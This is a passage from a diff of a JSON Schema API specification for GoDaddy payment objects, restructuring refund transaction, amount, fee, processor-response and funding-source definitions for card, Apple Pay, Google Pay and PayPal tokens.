}, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + }, + "title": "Token VerificationData", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents sale transaction against a payment" - }, - "readOnly": true, - "description": "Sales for the payment" - }, - "refunds": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "required": [ - "amount", - "currency" - ] + "propertyName": "type" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] + "properties": { + "city": { + "description": "City", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "title": "Token VerificationData", + "type": "object" } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + }, + "title": "Token VerificationData", + "type": "object" } - } - ], + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + 